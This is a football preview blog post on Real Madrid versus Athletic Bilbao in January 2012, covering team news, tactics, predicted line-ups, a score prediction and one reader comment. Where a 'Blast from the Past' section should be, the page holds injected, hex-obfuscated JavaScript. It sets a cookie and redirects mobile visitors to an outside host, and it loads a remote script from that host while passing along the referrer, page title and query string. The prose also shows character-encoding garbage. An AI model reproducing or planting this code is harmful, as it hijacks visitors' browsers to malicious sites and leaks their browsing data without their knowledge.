REAL MADRID

v

ATHLETIC BILBAO

Santiago Bernabeu, Madrid

Sunday, January 22, 2012; 20:30 GMT Hrs

****

.

Greatness of a team is defined by the fact of bouncing back after a demoraliszing loss. Real Madrid will have to earn every bit of that greatness as they face the Basque lions. As if losing to Guardiola was not enough, in comes his master Bielsa from whom ai???the philosopherai??? learned his trade. After the initial settiling in period which saw Athletic collect only 2 points from first 5 games, ai???Los Leonesai??? have come back in a mighty fashion and are currently sitting 5th in La Liga.

Team News and Tactical Brief

Real Madrid

Real Madrid have a few major headaches. Pepe has ai???convenientlyai??? picked an ai???injuryai??? after his mad, shameful actions and a lame, half hearted apology after that. Di Maria too, is out with an injury after Mourinho decided not to rush him after Copa del Rey looking a lost cause. Khedira is also out with an injury.

On the good news front, Arbeloa should be available, after serving out his ban against Barcelona.

On the tactical front, it is unlikely that Mourinho will indulge in the craziness of starting Altintop at RB. Either Lass or Arbeloa will start with Marcelo reinstated as a LB. In all probability Coentrao will start in place of Khedira and will partner Alonso.

Ozil too should start as should Callejon and Ronaldo. Higuain will most probably be benched after a rather lacklustre outing against Barca. Ai??Benzemaai??i??s better passing abilities may find him a place ahead of the Argentine.

Although both Benz and Higuain might also start with Calljeon on the bench.

Overall, a predictable lineup with all the usual suspects and little variations is expected.

The most interesting part is how Mourinho will deal with the discontent. He might be very excited to win La Liga without even putting up a semblance of a fight against Barca, but it remains to be seen how much the fans and players will appreciate that.

More so, how much can he rally his troops after Real Madrid flattered to deceive again. The December 10,2011 loss could have been used as a rallying cry. But the defensive tactics and no desire to win even at home has had Mourinho running for cover with fire coming from all sides.

Overall, can the Los Blancos team lift their sagging morale and fight to live another day?

Possible Starting XI (4-2-3-1): Casilllas; Arbeloa, Ramos, Carvalho, Marcelo; Alonso, Coentrao; Ronaldo, Callejon, Ozil; Benzema.

Athletic Bilbao

Bilbao under Bielsa have hit a purple patch of form and will be regretting that they cannot invite Los Blancos in their own den. The incredibly hostile San Mames instead of cosy confines of Santiago Bernabeu would have given Real Madrid nightmares and would have made Bielsaai??i??s job much easier.

That said, since September 24,2011, Bilbao have lost only 2 times in all competitions. They are undefeated in their last 7 games and have not conceded for the last 6 games. They have almost their full squad available with only one first team regular Fernando AmorebietaAi??missing due to a moderately sprained left ankle.

The game at San Mames against Barcelona won ai???Los Leonesai??? widespread praise as they took the game to Barcelona and were unlucky to not win all 3 points. Bilbao will look to press hard all over the pitch with plenty of long punts and crosses to their hulking striker Fernando Llorente. They have an incredibly physical side with 6-8 players being over 6 ft tall.

Real Madridai??i??s fragility at set pieces has been evident all through this season and it was exposed and exploited perfectly by Barcelona in Copa del Rey. With a hulking squad, one can expect a tremendous threat from set pieces and aerial balls.

The idea will be clear: Press Madrid and make them concede fouls in their own half. Use the aerial threat to score a couple of goals and defend for 3 or 1 point(s). A half fit/fresh from injury Carvalho will be tested to the limit by Llorente and it would take a brave man to bet against Llorente scoring at least once.

But at the same time, size has not prevented them from playing good football. Ander Herrera and Javi Martinez have done really well and the latter was on Real Madridai??i??s radar for a long time. Even in scoreless draws, Bilbao have taken plenty of shots and have usually dominated possession.

In a way, they are like Barcelona with less talented plaayers. Maybe, with Mourinho in charge this is the closest that Real will come towards defeating Barcelona at their own game.

Overall, the match is not going to be easy and Bilbao as said earlier are no pushovers. They are not intimidated by reputations and players in front of them. While they will haave plenty of defensive players on the pitch, their gameplay would be anything but defensive.

Possible Starting XI (4-4-2 )Gorka Iraizoz; Mikel Dominguez, Javi MartAi??nez, Jon Aurtenetxe, Andoni Iraola; Ander Iturraspe, Oscar, Ander Herrera, Susaeta; MuniaAi??n,Ai??Fernando Llorente

Key Facts

  • Real Madrid have now gone almost 4 years without beating Barcelona in 90 minutes.
  • Bilbao have not conceded in the last 6 games while Real have conceded 7 goals in 7 games.

Players to Watch Out for

Fernando Llorente (Athletic Bilbao)

The 6ai??i??5ai??? striker is odds on favourite to score and it is easy to see why. He will need to be carefully watched throughout the match by Real Madrid, if they donai??i??t want another set piece fiasco.

Mesut Ozil (Real Madrid)

Ozil had justed started to return to form, when he was benched yet again in yet another Clasico. It is unlikely that it will have boosted his confidence and yet he will be critical for all the attacks that Real Madrid will mount on Los Leones. If he has a bad day, it is highly unlikely that Real Madird will have anything different from his day.

TheHardTackleai??i??s Prediction

Real Madrid 1-1 Athletic Bilbao

Real Madrid will have a lot psychological damage from the last match and Pepeai??i??s antics will not have helped either. More than tactically, it will be a battle of minds. Right now Real Madrid are fragile and faced with a nasty defence they are unlikely to score too many goals.

A hard fought draw or a victory for the white house. From a purely gut feeling, Iai??i??d go with the former than the latter.

TheHardTackleai??i??s Blast from the Past

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

One Response to “Real Madrid v Athletic Bilbao ai??i?? Preview: Mourinho Faces Guardiola’s Teacher Bielsa”

Read below or add a comment...

  1. John says:

    What is going on with Sahin? Is he such a bad player compared to others on the roster? He should at least be given a chance to prove his worth. Getting back to this game, it is huge from Real’s perspective. They must not drop points at all, especially playing at home. The La liga & Champions league( until they encounter Barcelona again) are all they have to play for!